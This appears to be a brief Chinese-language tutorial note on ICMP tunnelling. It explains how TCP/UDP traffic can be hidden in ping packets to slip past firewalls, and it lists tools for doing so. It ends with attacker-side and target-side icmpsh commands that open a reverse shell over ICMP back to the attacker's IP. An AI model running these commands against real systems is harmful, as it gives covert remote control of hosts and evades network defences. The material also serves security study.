[TOC] ## ICMP隧道 * 一般两台设备要进行通信，一般是要开放端口，但是ICMP协议不需要 * ICMP消息为ping命令的回复，攻击者可以利用命令行得到比回复更多的ICMP请求 * ICMP隧道，可以将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙 * 常见的工具：imcpsh、PingTunnel、icmptunnel等 ## ICMP隧道工具——icmpsh ~~~ • 攻击机：python icmpsh_m.py 192.168.7.146 192.168.7.145 • 靶机： icmpsh.exe -t 192.168.7.146 -d 500 -b 30 -s 128 ~~~